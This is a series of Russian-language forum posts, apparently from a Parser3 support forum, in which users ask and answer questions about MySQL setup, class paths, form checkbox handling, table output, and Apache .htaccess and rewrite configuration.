"39487","У меня стоит Денвер, но MySQL я установил отдельно от него. Версия 4.1 Пучился, пучился подключить но сообщение такое: Host 'localhost' is not allowed to connect to this MySQL server. \
Что это за ерунда и как с ней бороться. И еще в тех доках(special for Паштет), которые я смотрел идет описание установки других версий MySql, а в этой там еще после установки какой-то \
Instance config wizard еще. Также установил MySQL Front. С грехом пополам как-то запустил его, даже экспортировал p3test.sql. Где она должна лежеть - не в /MySql/data? и какие настройки Фронта, чтобы все заработало? Блин ненавижу морочиться с такими проблемами. :-( \
\
Поможите чем сможите, пжлста\
\
С уважением Rezook"
"39488","обратитесь плиз в поддержку MySQL: http://www.mysql.ru/, http://dev.mysql.com/doc/mysql/ru/\
\
P.S. тред закрыт"
"39489","про константу 1.5 при работе с $.cache_threshold - по моему это не обязательно, хотя сделать можно (все равно параметры передаются). \
\
по крайней мере мне ни разу не требовалось им управлять. в общем и само его присутствие мне не особенно требовалось, лишь гипотетические выкладки привели к добавлению этого параметра.\
\
критический случай - это когда не нужно кешировать запрос, на этот счет есть или ^clear[], $.cache_interval(0), $.is_force(1) или $.cache_threshold(100) (делают разные вещи кстати)."
"39490","php работает безпроблем..."
"39491","* - $.cache_interval(0) теперь говорит \"не кешировать\", при этом кеш файл принудительно экспайрится.\
+ - добавлен параметр $.is_force(1) который также заставляет игнорировать кеш, но при этом не влияет на кеш-файл с результатами запроса.\
\
P.S. см. [url=\"/forum/?id=39213\"]тут[/url]"
"39492","+ добавлены дополнительные строки форматирования\
+ добавлены методы для преобразования дат в интернет формате (rfc822, rfc2822) который могут быть полезны например при разборе/выдаче RSS.\
\
# @from822[string]	создает дату из переданной строки-даты в формате RFC822\
# @to822[date;timezone]	сдвигает дату из текущей TZ в указанную TZ и выводит её в виде строки в формате RFC822\
\
однако пока эти методы (особенно первый) в стадии тестирования, т.е. возможны баги и изменения их названий :)\
\
P.S. не уверен что они работают на win т.к. пользуюсь системными аббревиатурами временных зон."
"39494","у меня файл auto.p\
@main[]\
^header[]\
^body[]\
^footer[]\
^use[1.tpl]\
^use[2.tpl]\
^use[3.tpl]\
\
файл 1.tpl\
@header[]\
тра-ля-ля\
\
файл 2.tpl\
@body[]\
тра-ля-ля\
\
файл 3.tpl\
@footer[]\
тра-ля-ля\
--------------\
В результате,грубо говоря я хочу, чтоб в основной файл подгружался код Parser и выполнялся. Со всеми переменными, классами и всем остальным, а в ответ получаю ошибку.\
\
Просто скажите как надо делать. Чего-то я забываю или не знаю..."
"39497","P.S. и сообщение о том, что за ошибка было-бы очень кстати."
"39498","вот ошибка [quot]\
Unhandled Exception (Debug)\
usage failed - no $MAIN:CLASS_PATH were specified\
1.tpl\
auto.p(14)\
exception.type=parser.runtime[/quot]\
\
Но на вопрос, я ответа не получил. Документацию читал, перечитывал и т.д. Я понимаю, что самое лучшее на своих ошибках учиться, но чё-то....\
в общем мне не разобраться...."
"39499","Напишите пожалуйста пример, как можно это сделать. Пример, как сделана загрузка include, не пойдёт!"
"39500","FAQ: http://www.parser.ru/faq/errors/\
\
[quot]\
Но на вопрос, я ответа не получил.\
[/quot]\
\
вообще-то я ответил."
"39501","Хорошо! Спасибо за ответ! Только как подключать и чё делать, я так и не понял. Наверное, я слишком туп, чтоб это понянять. Так объясните тупому, на примере, как подключить модуль из файла."
"39502","Подключаем\
^use[1.tpl]\
\
Используем\
^header[]\
\
_____________\
У вас\
Используем\
^header[]\
\
Подключаем\
^use[1.tpl]\
\
Внимание вопрос...\
Как вы можете использовать утюг не включив его в розетку???"
"39503","у меня есть такой код:\
$key[вася]\
^href[/product/?param=$key;$key]\
$key - русская строка\
\
на странице получаются ссылки вида:\
http://www.kis.ru/product/?param=%C1%E5%ED%E7%EE%E3%E5%ED%E5%F0%E0%F2%EE%F0%FB\
\
я получаю $form:param и на основании его делаю поиск в базе данных, но там русские слова сл-но он ничего не находит, видимо надо сделать преобразование taint,untaint но какое имеенно я не знаю\
\
вешаться?"
"39504","Про утюг - согласен.\
Обшибся. Но всё-равно не работает. (вообще у меня записано, так как сказали вы, и изначально не фурычило)\
напишите пожалуйста тексты 2-ух файлов. Один auto.p, другой 1.tpl.\
В 1.tpl, код парсера. Вызвать всё это из auto.p\
\
У меня не получается."
"39505","[code]\
@main[]\
$CLASS_PATH[^table::create{path\
\
/\
/classes\
/classes/specific\
}]\
\
^use[1.tpl]\
^use[2.tpl]\
^use[3.tpl]\
\
^header[]\
^body[]\
^footer[]\
[/code]"
"39507","где можно взять редактор постов на жава скрипт как стоит на форумах типа пхпбб или инвизион пауер боард"
"39508","http://www.parser.ru/forum/?id=39414\
http://www.parser.ru/forum/?id=39076"
"39509","Огромнейшее спасибо. Ты единственный, кто дал нормальный ответ. Теперь мне всё ясно. Но как я понял (мне хочется уточнить), если сначала подгружаешь первый файл, а потом второй, то во втором нельзя использовать переменные из первого файла.\
\
Если как-то можно, помоги пожалуйста.\
\
Заранее благодарен."
"39510","ваш ссылка на странице выглядит так, как будто вы уже сделали нужный taint/untaint (т.е. похоже что выполнено такое: ^href[/product/?param=^taint[uri][$key];$key])\
\
попробуйте в документе, в котором вы получаете этот параметр вывести его в тело страницы и убедитесь, что приходит все что нужно.\
\
далее попробуйте в запрос подставить не '$form:param' а 'вася' и проверьте, находится-ли то, что вам нужно.\
\
с разультатами этих исследований сюда ;)\
не забудьте к результатам добавить информацию о кодировке ваших файлов, responce:charset и request:charset."
"39511","Можно\
\
Давайте договоримся, Вы сначала пробуете только потом, если не получаетс, спрашиваете, я например сейчас прежде чем ответить попробовал."
"39512","...кстати, что мешает, впечатав в свою страницу  (повыше и покрупнее)\
<H1>$form:param</H1> увидеть что приходит с урла?\
...а не работает, очевидно, что-то другое."
"39513","Есть файл .html где добавляется в БД значения некоторых полей формы. В частности есть много (порядка 60) checkbox с одним именем - complect. Используя [code]$complect[$form:tables.complect][/code] я вставляю в БД \
[code]^complect.menu{\
        $complect.field\
    }[/code]\
Обрабатывается нормально, вставляется как надо - в общем все ок, НО:\
При любом изменении checkbox-ов (например при изменении value) или имени/местоположения файла .html выводиться ошибка:\
string method not found\
menu\
и т.п.\
При \"откате\" обратно (восстановления прежнего value, имени или местоположения файла) ошибка не исчезает. \
А вот теперь самый большой маразм:\
Беру пример $form:tables из доки и копирую его в только что созданный .html файл. Работает.\
Беру свою форму и заменяю форму примера своей - работает.\
Добавляю переменные, чтобы заработал main[] - работает.\
Изменяю $hobby из примера на нужную мне $complect - работает.\
Заменяю обработку из примера на обработку-добавление в БД. И ВСЕ ЗАНОВО РАБОТАЕТ.... пока что-нить опять не поменять...-(((\
Это вообще как возможно? Помогите найти логическое объяснение, плз..."
"39515","Я, если честно, вообще нифига не понял....\
Нельзя ли менее сумбурно"
"39516","[quot]Внимание: не забудьте проверить наличие таблицы перед тем, как начать ею оперировать[/quot]\
\
Вы сделали это?\
\
Из ваших слов:\
[quot]При любом изменении checkbox-ов (например при изменении value) или имени/местоположения файла .html[/quot]\
\
непонятно. Приведите код."
"39517","Ага. Вообще я сначала попробовал. У меня не получилось. Поэтому и спросил. Но теперь всё ок. Разобрался. Большое спасибо!"
"39519","Ошибка была именно в моем коде в другом месте, а как ни странно поис по базе идет так как надо\
\
Как обычно потороплюсь напишу ерунду на форуме, а через пару часов разбираюсь сам...\
\
Сорри %("
"39520","Таблица есть (он же вставляет ее в БД). Код (выборочно):\
[code]\
# Checkbox-ы\
<form method=\"POST\">\
\
<table width=\"100%\" cellpadding=0 cellspacing=0 border=0 class=\"table\">\
        <tr> \
          <td> <table width=\"100%\" cellpadding=0 cellspacing=1 border=0>\
              <tr class=\"cel\">\
                <td colspan=2 class=\"question\"><b>Комплектация</b><br><br></td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"ABS\">\
                  ABS </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Airbag д/водителя\">\
                  Airbag д/водителя </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Airbag д/пассажира\">\
                  Airbag д/пассажира </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Airbag боковые\">\
                  Airbag боковые </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Airbag оконные\">\
                  Airbag оконные </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Break assist\">\
                  Break assist </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> CD-чейнджер&nbsp; <select name=\"complect\">\
                    <option value=\"\"></option>\
                    <option value=\"есть\">есть</option>\
                    <option value=\"с MP3\">с MP3</option>\
                  </select> </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"EBD\">\
                  EBD </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"ESP\">\
                  ESP </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Handsfree\">\
                  Handsfree </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Авт. упр. светом\">\
                  Авт. упр. светом </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Антипробуксовочная система\">\
                  Антипробуксовочная система </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Аудиоподготовка\">\
                  Аудиоподготовка </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Багажник на крыше\">\
                  Багажник на крыше </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Блокировка заднего диф.\">\
                  Блокировка заднего диф. </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Бортовой компьютер\">\
                  Бортовой компьютер </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"ГУР\">\
                  ГУР </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Датчик дождя\">\
                  Датчик дождя </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Д/о багажника\">\
                  Д/о багажника </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Д/о бензобака\">\
                  Д/о бензобака </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Иммобилайзер\">\
                  Иммобилайзер </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Катализатор\">\
                  Катализатор </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Климат-контроль\">\
                  Климат-контроль </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Кондиционер\">\
                  Кондиционер </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Корректор фар\">\
                  Корректор фар </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Круиз-контроль\">\
                  Круиз-контроль </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Ксеноновые фары\">\
                  Ксеноновые фары </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Лебедка\">\
                  Лебедка </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Легкосплавные диски\">\
                  Легкосплавные диски </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Люк\">\
                  Люк </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> Магнитола&nbsp; <select name=\"complect\">\
                    <option value=\"\"></option>\
                    <option value=\"Магнитола: есть\">есть</option>\
                    <option value=\"Магнитола: с MP3\">с MP3</option>\
                  </select> </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Навигационная система\">\
                  Навигационная система </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Обогрев зеркал\">\
                  Обогрев зеркал </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Обогрев сидений\">\
                  Обогрев сидений </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Омыватель фар\">\
                  Омыватель фар </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Отделка под дерево\">\
                  Отделка под дерево </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Парктроник\">\
                  Парктроник </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Подлокотник передний\">\
                  Подлокотник передний </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Противотуманные фары\">\
                  Противотуманные фары </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Разд. спинка задн. сидений\">\
                  Разд. спинка задн. сидений </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Регул. сид. вод. по высоте\">\
                  Регул. сид. вод. по высоте </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Регул. сид. пасс. по высоте\">\
                  Регул. сид. пасс. по высоте </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> Регулировка руля&nbsp; <select name=\"complect\">\
                    <option value=\"\"></option>\
                    <option value=\"Регулировка руля: есть\">есть</option>\
                    <option value=\"Регулировка руля: в 2 пл.\">в 2 пл.</option>\
                  </select> </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> Салон&nbsp; <select name=\"complect\">\
                    <option value=\"\"></option>\
                    <option value=\"Салон: велюр\">велюр</option>\
                    <option value=\"Салон: кожа\">кожа</option>\
                  </select> </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Сигнализация\">\
                  Сигнализация </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Сотовый телефон\">\
                  Сотовый телефон </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Тонированные стекла\">\
                  Тонированные стекла </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Фаркоп\">\
                  Фаркоп </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Центральный замок\">\
                  Центральный замок </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Электроантенна\">\
                  Электроантенна </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> Электропривод вод. сиденья&nbsp; <select name=\"complect\">\
                    <option value=\"\"></option>\
                    <option value=\"Электропривод вод. сиденья: есть\">есть</option>\
                    <option value=\"Электропривод вод. сиденья: с памятью\">с памятью</option>\
                  </select> </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Электропривод пасс. сиденья\">\
                  Электропривод пасс. сиденья </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> Электростекла&nbsp; <select name=\"complect\">\
                    <option value=\"\"></option>\
                    <option value=\"Электростекла: передние\">передние</option>\
                    <option value=\"Электростекла: все\">все</option>\
                  </select> </td>\
              </tr>\
              <tr class=\"cel\">\
                <td> <input type=checkbox name=complect value=\"Электрозеркала\">\
                  Электрозеркала </td>\
              </tr>\
            </table></td>\
        </tr>\
      </table>\
      <br>\
      <br> \
      <table width=\"100%\" cellpadding=0 cellspacing=0 border=0>\
        <tr>\
          <td>\
<input type=\"submit\" value=\"Добавить\" name=\"posted\">&nbsp;&nbsp;\
<input type=\"reset\" value=\"Очистить\">\
	</div></div></td>\
        </tr>\
      </table>\
  \
</table>\
\
#Обработка\
\
$complect[$form:tables.complect]\
\
^if(def $form:model_id && def $form:year && def $form:price){\
^connect[$connect_string]{\
      ^void:sql{insert into store\
         (model_id, modific, color_id, year, body_key, price, engine_key, text, drive_key, volume, box_key, used_key, tamog_key, vin, descr, complect)\
      values \
         ('$form:model_id', '$form:modific', '$form:color_id', '$form:year', '$form:body_key', '$form:price', '$form:engine_key', '$form:text', '$form:drive_key', '$form:volume', '$form:box_key', '$form:used_key', '$form:tamog_key', '$form:vin', '$form:descr', '^complect.menu{\
        $complect.field\
    }')\
      }\
      $response:location[/news/add_foto]\
      }\
}{\
   все поля заполни!\
}\
[/code]\
\
Если поменять value любого из чекбоксов, имя html файла, в котором все это дело написано, его местоположение, то вылезет вышеупомянутая ошибка."
"39521","Что именно не понятно? Если кратко:\
Сначала все работает. Потом меняешь что-нибудь в <form> и все перестает работать. Меняешь обратно- работать не начинает.\
То же самое происходит при изменении имени файла (index.html например на test.html). Если поменять имя обратно, то все равно не работает. При изменении местоположения файла (лежал в /news/ стал в /add/, например) такая же фигня."
"39522","Из http://www.parser.ru/ надо получить www.parser.ru\
Я делаю так\
$uri[http://www.parser.ru/]\
^uri.mid(7)\
Подскажите как убрать последний слешь?"
"39523","Я закачал [i]parser3.exe[/i] в [i]/cgi-bin/[/i], и в [i].htaccess[/i] прописал:\
[b]\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.exe\
[/b]\
\
[color=\"#bb0000\"]И сервер выдаёт ошибку.[/color]\
Подскажите, что надо сделать.\
Спасибо."
"39524","походу нужно на разных строках писать"
"39527","...\
^if(def $form:model_id && def $form:year && def $form:price && def $complect.field){..."
"39528","Наверное,  	[code]def $complect.field[/code] не поможет. 	[code]$complect[/code] всегда определена т.к. выпадающий список зовётся одинаково с чекбоксами и всегда определён (первое пустое значение)... \
	[code]\
<select name=\"complect\">\
<option value=\"\"></option>\
<option value=\"Электро: передние\">передние</option>\
<option value=\"Электростекла: все\">все</option>\
</select>\
[/code]\
Может списки по-другому обозвать и тогда уже делать что-то типа 	[code]^if(def $complect){...[/code]"
"39529","Здравствуйте.\
Хочу решить такую задачу. С помощью sql запроса формируется таблица с данными, количество столбцов неизвестно. Далее требуется эту таблицу вывести на страницу.\
\
Как я пытаюсь сделать:\
\
С помощью sql запроса формируется таблица с данными ($tovarvib), количество столбцов неизвестно. \
\
Далее требуется эту таблицу вывести на страницу.Для этого с помощью метода columns класса table узнаю структуру таблицы ( $tovarvib_columns[^tovarvib.columns[]] ). \
\
Далее при помощи метода menu хочу вывести поля таблицы $tovarvib в зависимости от того какие столбцы есть.\
\
^tovarvib.menu{\
<table border=1>\
<tr>\
<td>\
^tovarvib_columns.menu{$tovarvib.$tovarvib_columns.column}\
</td>\
</tr>\
</table>\
\
т.е. получается составное имя переменной $tovarvib.название_столбца\
\
P3 пишет:\
is 'table', it has no string representation\
tovarvib_columns\
\
Подскажите, пожалуйста, как быть.\
С уважением Юрий."
"39530","<table border=\"1\">\
^tovarvib.menu{\
	<tr>\
	^tovarvib_columns.menu{\
		<td>\
		$tovarvib.[$tovarvib_columns.column]\
		</td>\
	}\
	</tr>\
}\
</table>"
"39531","в общем все примеры до 5го прекрасно работают....\
а 5й нет.. в логах парсера идет ошибка:\
[Sun Apr 17 23:13:55 2005] [3268] /gbook/: z:/home/parser/www/gbook/index.html(3:1): 'USE ' invalid special name. valid names are 'CLASS', 'USE' and 'BASE' [parser.compile]\
\
ВСЕ сделано по примету... более того, ничего в текстах предшествующих примеров не менял...\
\
стоит парсер 3.14 (cgi вариант)\
Дэнвер-2 2005-01-26\
ос winxp sp2 en"
"39533","@USE у вас не так написано, хотя вроде в кавычках должно быть так, как вы написали, но вроде там USE и есть. \
Приведите кусок кода, где вы класс подключаете"
"39535","http://www.parser.ru/forum/?id=16558"
"39536","ВСЕМ СПАСИБО )\
ктобы мог подумать про пробелы )))"
"39537","Искал намедни консольный ftp клиент - для работы по FTP из парсера:\
1) Wget.exe - только download, зато есть интересная фича - Time-Stamping - скачивание папок с контролем версии (новее файл или нет - качать или нет)\
2) curl.exe (http://curl.haxx.se) - качает в обе стороны\
3) ncftp - есть отдельные модули ncftpput, ncftpget - и несколько других модулей, может upload folders\
\
и все это free and for windows (и юникса, оказалось для юникса легче найти)"
"39538","У меня почти в каждом xml-файле встречается такая конструкция:\
[code]<!DOCTYPE [i]root-element[/i] SYSTEM \"http://localhost/schemas/character.ent\">[/code]\
Если при генерации страницы запрашивается несколько xml-документов с одинаковым Doctype, то кешируется ли DTD?"
"39540","[code]$str[^str.match[^^http://(.*?)/?^$][i]{$match.1}][/code]"
"39541","[code]\
$a(число)\
$b(число)\
^eval($a ^if($a % 2 == 0){+}{-} $b)\
[/code]"
"39544","[code]\
@printTable[table][columns]\
^if($table){\
	$columns[^table.columns[]]\
	<table border=\"1\" cellspacing=\"0\" cellpadding=\"5\">\
	<tr bgcolor=\"#efefef\">\
		^columns.menu{\
			<th>$columns.column</th>\
		}\
	</tr>\
	^table.menu{\
		<tr>\
		^columns.menu{\
			<td>$table.[$columns.column]</td>\
		}\
		</tr>\
	}\
	</table>\
}\
# End @printTable[]\
[/code]"
"39545","Во-первых, действительно почему вы написали на одной строчке-то? А во-вторых было бы не плохо, если бы вы еще сообщили какую ошибку выдает сервер :)"
"39547","а разве отказываемся помочь? :)"
"39549","Windows не ищет .dll файл рядом с… тем .dll файлом, который её подключает.\
\
а ищет только рядом с .exe [и по пути, и ещё кое-где]."
"39550","неизвестно количество столбцов может быть в очень маленьком количестве случаев.\
\
обычно: всё известно.\
\
судя по имени переменной, вы хотите…\
[b]немного запутать[/b] самого себя сейчас, и потом [b]окончательно запутать[/b] самого себя через месяц.\
\
важно: отдавать себе отчёт, что рано или поздно у читателя этого кода возникнет вопрос, а что там, собственно, за колонки, и почему вот [i]тут[/i] падает, говорят, «такой колонки 'ABC' нет».\
\
при вашем подходе на понимание этого уйдёт куда больше времени, чем при явном задании списка колонок.\
\
если думаете, что ваш подход экономит что-то, можно обсудить."
"39551","и http запроса не происходит [файл читается из $request:document-root/...].\
\
обычно файл .ent небольшой, так что проблемы это не вызывает.\
\
\
мы используем немного другой подход, когда код на Parser формирует весь XML код целиком (из кусочков), и только потом XML компилируется в xdoc — .ent считывается только один раз."
"39559","Владка \"Безопасность\""
"39567","При прописке класса gbook, на index.html в /gbook/ \
такая вот фигня \
Gbook\
class is undefined\
Почему он не объявляется?\
Вроде все как в доке."
"39569","Спасибо, сделал систем DSN и все пошло. Просто я не понял в чем дело. А, как обычно, все нужно срочно."
"39570","в последней версии sql.p исчезло слово \"совсем\" во фразе \"неинтеллектуальное кеширование\"... оно и понятно, все же параметров и механизмов добавилось. А что нужно реализовать, чтобы кеширование стало хотя бы \"немного интеллектуальным\" или даже \"интеллектуальным\"?\
Думал давеча по этому поводу, что то придумалось, хотелось бы узнать мнение опытных товарищей... Что вы вкладываете в понятие \"интеллектуальное кеширование\"?"
"39572","или заменить его на что-нить более адекватное.\
\
давным давно я имел ввиду что кеширование реализовано плохо (вы ведь видели код методов _table_save/_table_load и Co): я делаю replace в каждой ячейке для удаления символов табуляции/перевода строки, хотя сейчас правильнее использвать для этого парсерные функции (по крайней мере при работе с таблицей)."
"39573","Неправильно я написал, конечно же не Gbook а gbook. Нет, синтаксис я соблюдал, дело в чем то другом. Может из-за неправильного прописания кода?"
"39575","Ошибка была в следующем:\
В поле gbook таблицы p3test, я по привычке слово email написал как e-mail, а в классе указывал как email. Вот поэтому такая петрушка и произошла. :-)"
"39576","Я закачал parser3.exe в /cgi-bin/, и в .htaccess прописал:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
И сервер выдаёт ошибку.\
Подскажите, что надо сделать."
"39577","два раздела: по установке, и как задавать вопросы."
"39578","Это твой любимый вопрос?"
"39579","Я решаю такую задачу: есть форма, в которой выбирается определенный вид продукции и соответсвующие параметры. У разных видов продукции могут быть одинаковые и разные параметры. Обработка формы делает запрос к БД и выбирает только те поля, которые характерны для данного вида продукции. \
\
Прим. таблица БД, в которой хранятся записи имеет универсальную структуру т.е. общая для разных видов продукции. Да, БД не нормализована, но я решил пусть в одной таблице хранится необходимый минимум данных, нужных для описания какого товара, а для болле полного описания можно привлечь и вспомогат. табл., чем делать несколько запросов к БД, обрабатывая форму.\
\
Честно говоря, незнаю что лучше."
"39580","Содержимое .htaccess\
SetEnv CGI_PARSER_CONFIG /html/conf/auto.p\
\
AddHandler parsed-html html\
Action parsed-html /parser-cgi/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files>\
\
RewriteEngine on\
RewriteOptions inherit\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	index.html?uri=/$1 [QSA,L]\
\
-----\
Содержимое файла /html/conf/auto.p\
@conf[filespec]\
\
$CHARSETS[\
    $.koi8-r[/parser-cgi/parser3.charsets/koi8-r.cfg]\
    $.windows-1251[/parser-cgi/parser3.charsets/windows-1251.cfg]\
]\
\
$CLASS_PATH[^table::create{path\
/classes\
/classes/templates\
/classes/cms\
/classes/cms/templates}]\
\
Какой бы я путь не указывал для файла parser все равно пишет\
usage failed - no $MAIN:CLASS_PATH were specified"
"39581","Новичок? Не переживай - я сам такой. \
В файле httd.сnf найди строчку AllowOverride None \
исправь на All, чтобы твой сервер видел .htaccess или в том же \
httd пропиши Addhandler и т. д.\
\
А вообще не мучайся и поставь себе Денвер. Если у тебя полно идей - не заморачивайся на всякие там установки. Это должно быть дело сис.админов а не творческих людей. Но это M.H.O."
"39582","Есть форма с множеством чекбоксов. Значения этих чекбоксов храняться в БД. Примерно так:\
[code]\
#собираем значения всех чекбоксов с именем complect\
$complect[$form:tables.complect]\
\
#вставляем это дело в БД\
^connect[$connect_string]{\
      ^void:sql{insert into store (complect)\
 values \
         ('^complect.menu{\
        $complect.field\
    }[/]')}\
[/code]\
\
Количество отмеченных чекбоксов может быть произвольно - от 0 до 60 и складывается это как уже понятно из кода в одно поле БД. По замыслу хотел разделить извлекаемые значения с помощью /, а потом отформатировать и вставлять как и куда мне надо, но почему-то когда просматриваешь то, что вставилось в БД получается примерно вот так:\
    /\
        Лебедка\
    /\
        Легкосплавные диски\
    /\
        Люк\
    /\
        \
    /\
        Навигационная система\
    /\
        Омыватель фар\
    /\
        Парктроник\
    /\
        Противотуманные фары\
    /\
        Разд. спинка задн. сидений\
    /\
        Регулировка руля: есть\
    /\
        Салон: велюр\
    /\
        Центральный замок\
    /\
        Электроантенна\
    /\
        \
    /\
Прчем количество слешей изменяется по непонятному мне в принципе алгоритму, т.е. бывает и по 3 вподряд идут...\
Посоветуйте чем лечить? \
P.S.\
Фигурные скобки в .menu ставить пробовал - не помогает"
"39583","1.html\
----------\
$ex[^file::exec[1.pl]]\
^if(!$ex.status){text: $ex.text}{error: $ex.stderr}\
\
1.pl\
----------\
#!/usr/bin/perl\
print \"hello!\";\
\
почему 1.html выводит?\
----------\
error:"
"39584","[code]'^complect.menu{$complect.field}[/]'[/code]"
"39585","И чем дело закончилось?!\
Сам мучаюсь :("
"39586","У тебя в выпадающих списках пустые значения, вот он и ставит пустые значения, а дальше соответственно разделитель... Если ты конечно не менял имя..."
"39587","1) почему файлу auto.p не лежится рядом с parser3.cgi?\
2) почему SetEnv CGI_PARSER_CONFIG /html/conf/auto.p путь указан не ок корня диска?"
"39589","У меня такая проблема:\
Имеется домен с хостингом www.name.ru и домен без хостинга www.name2.net.ru. Требуется сделать так, чтобы при запросе www.name2.net.ru открывался физически www.name.ru/domain/, при наборе www.name2.net.ru/news/ — www.name.ru/domain/news/. Причем в строке браузера отображалось попрежнему www.name2.net.ru/news/.\
C помощью DNS прописал, что при наборе name2 открывается name. Но получить то, что требуется не могу. Пробовал решить ситуацию с помощью rewrite, но не помогло (смотрел примеры на egoroff.spb.ru).\
\
Если это возможно, то как будет вести себя Парсер (ведь получается, что корневой каталог не \"/\" a \"/domain/\")?\
\
Знаю, что сообщение немного не в тему, но единственным оправданием будет то, что сайт name2 работает на Парсере. :-)"
"39591","однако при этом вы же знаете, с какими колонками далее собираетесь работать, правильно?\
\
сформируйте структуру, описывающую ваши колонки, и пользуйтесь ею по всему коду, включая то место, о котором спрашивали.\
\
и вам будет понятнее и удобнее, и последующим читателям."
"39592","наиболее вероятные причины:\
1. .pl файл должен иметь переносы строк в стиле Unix [одна буква с кодом 0A]\
2. .pl файл должен иметь executable атрибут"
"39593","опишите, что делали, что получили, что не заладилось, посмотрим, чем сможем помочь."
"39596","RewriteEngine on\
RewriteCond   %{HTTP_HOST}                 ^www\\.[^.]+\\.name2\\.net\\.ru$\
RewriteRule   ^(.+)                        %{HTTP_HOST}$1          [C]\
RewriteRule   ^www\\.([^.]+)\\.name2\\.net\\.ru(.*) /domain/$1$2\
\
Открывать-то открывает, да только корневую папку (name2.net.ru получается равным name.ru, вместо name2.net.ru=name.ru/domain/). Неправильно что-то в коде или вообще данный пример не подходит?"
"39597","давайте два правила перепишем в одно, что-то вроде:\
[code]\
#нужный host\
RewriteCond %{HTTP_HOST} name2\
#его ещё не загнули\
RewriteCond %{REQUEST_URI} !^/domain/\
#загибаем\
RewriteRule (.*) /domain/$1 [L,QSA]\
[/code]"
"39598","Спасибо, все работает, за исключением одной детали: в корневом .htaccess прописано DirectoryIndex /file.ext и теперь при запросе name2 он его так же ищет, но в папке /domain/file.ext\
Можно ли отключить DirectoryIndex для каталога /domain/ не перенаправляя другим DirectoryIndex?"
